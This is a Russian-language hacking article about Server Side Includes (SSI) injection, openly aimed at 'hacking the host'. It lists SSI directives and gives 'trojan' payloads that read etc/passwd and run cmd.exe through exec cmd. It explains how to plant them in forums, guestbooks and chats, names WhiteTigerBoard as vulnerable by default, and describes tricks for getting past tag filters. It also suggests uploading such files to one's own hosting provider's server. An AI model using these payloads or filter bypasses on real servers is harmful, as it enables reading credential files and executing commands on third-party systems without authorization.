SSI - это Server Side Includes, используется оно в
файлах .shtml и .shtm, а также при определённых
настройках сервера даже в .html. SSI
выполняется на стороне сервера и на 98%
используется для банального инклудеза, но
если копнуть глубже, то становиться ясно,
что SSI имеет намного большие функции, о
которых мало кто знает (доки читать надо,
уважаемые админы), в свою очередь, что может
привести к краху всей системы... Для тех
кто с броне поезда маленькое вступление:
<html>
<body>
<!--#include virtual="berx.txt"-->
Какой-то текст
<!--#include virtual="niz.txt"-->
</body>
</html>
Речь и идёт о том, что находиться между
<!-- и --> это и есть SSI. Как было сказано
выше ... SSI выполняется на стороне сервера т.е.
юзер при входе на www.your_page.com/some_ssi.shtml не
увидит <!-- и --> так как сервер заменит их
на содержимое указанных файлов, именно это
и превлекает вебмастеров, SSI экономит место
и время, так как чтобы сменить дизайн не
надо менять html код на всех пагах, а
достаточно изменить berx.txt и niz.txt, но это
только верхушка айзберга... Нашей целью как
всегда будет хакнуть хост, для этого нам
понадобиться сам хост, несколько бутылок
кефира с жирностью не менее 3% и дырка на
сервере, через которую мы выполним наш SSI, но
обо всём по порядку...
Сервер должен быть с поддержкой SSI, на 99% он
там есть, но как разместить файл .shtml с
троянским кодом на чужой сервер??? Вопрос
хороший и я на него отвечу чуть по позже =) А
теперь поговорим о всех возможностях Server Side
Includes.
:[ Относительно безопасные информативные
функции:
<!--#echo var="DOCUMENT_NAME"--> // полный путь до
файла, ну там
c:\wwwroot\some.shtml
<!--#echo var="DOCUMENT_URI"--> // без коментариев
<!--#echo var="QUERY_STRING_UNESCAPED"--> // если
some.shtml?some_string, то
выведет some_string
<!--#echo var="DATE_LOCAL"--> // время на сервере
<!--#echo var="LAST_MODIFIED"--> // время
последнего изменения данного файла
<!--#echo var="SERVER_SOFTWARE"--> // какой сервер,
ну там Апаче и тд.
<!--#echo var="SERVER_NAME"--> // урл сервера
<!--#echo var="GATEWAY_INTERFACE"--> // например CGI/1.1
<!--#echo var="SERVER_PROTOCOL"--> // например HTTP/1.1
<!--#echo var="SERVER_PORT"--> // здесь всё ясно
<!--#echo var="REQUEST_METHOD"--> // например GET
<!--#echo var="PATH_TRANSLATED"--> // путь, ну там c:\wwwroot\
<!--#echo var="QUERY_STRING"--> // переданная
строка, если
a.shtml?some_string, то выведет some_string
<!--#echo var="REMOTE_ADDR"--> // ip адресс сервера
<!--#echo var="HTTP_REFERER"--> // откуда пришёл
<!--#echo var="HTTP_USER_AGENT"--> // например Mozilla/4.0
(compatible; MSIE
5.0; Windows 98; DigExt)
<!--#fsize virtual="stuff/extra.txt"--> // размер
файла
<!--#fsize file="c:\mystuff\extra.txt"--> // тоже самое
только с полным
путём до файла
:[ Самый брутальные функции :
<!--#exec cmd="c:\httpd\cgi-bin\visitor.exe"--> //
запускает программу с
полным путём до файла
<!--#exec cgi="/cgi-bin/visitor.exe"--> // покажет
результаты работы скрипта
или программы
<!--#include virtual="stuff/extra.txt"--> // тот самый
инклудез
<!--#include file="c:\mystuff\extra.txt"--> // тоже
самое, только с полным
путём до файла
:[ Пример троянского кода :
<!--#include file="etc/passwd"--> // выведет файл
паролей
<!--#exec cmd="c:\winnt\system32\cmd.exe?/c+dir+c:\"--> //
покажет файлы на
диске c:\ и тд ...
:[ Как разместить SSI код на чужом сервере ???
Во-первых это всевозможные форумы и
гуестбуки, при определённых настройках это
могут быть даже чаты, но есть ещё одна
проблема - это фильтрация тэгов, сделаю
небольшое отступление... На сервере Апач для
запуска SSI не надо закрывать код символами
"-->" т.е. для выполнения достаточно
<!--#include file="etc/passwd", так обходится
запрет на сами SSI тэги, так как обычно
ставиться урезать всё что между <!-- и -->,
далее "умный" кодер может поставить
выкусывать "<!--", что бы сделать не
работоспособным наш код, но это тоже
достаточно просто обойти: <<!--!--#include file="etc/passwd"
после обрезания будет выглядеть достаточно
работоспособно : <!--#include file="etc/passwd".
Первым уязвимым форумом, который приходит в
голову - это WhiteTigerBoard, по умолчанию там
ставиться создавать на каждое сообщение .shtml
файл, как обойти фильтрацию тэгов мы уже
говорили. Во-вторых можно спокойно
подставить своего хостера будь он халявный
или платный - это не так уж и важно ...
Создаёте файл some.shtml заносите туда всё, что
вам нужно и закачиваете на сервер, правда
может быть это не очень красиво, а впихивать
баннеры на ваши страницы - это честно??? Да и
я так думаю, что нет.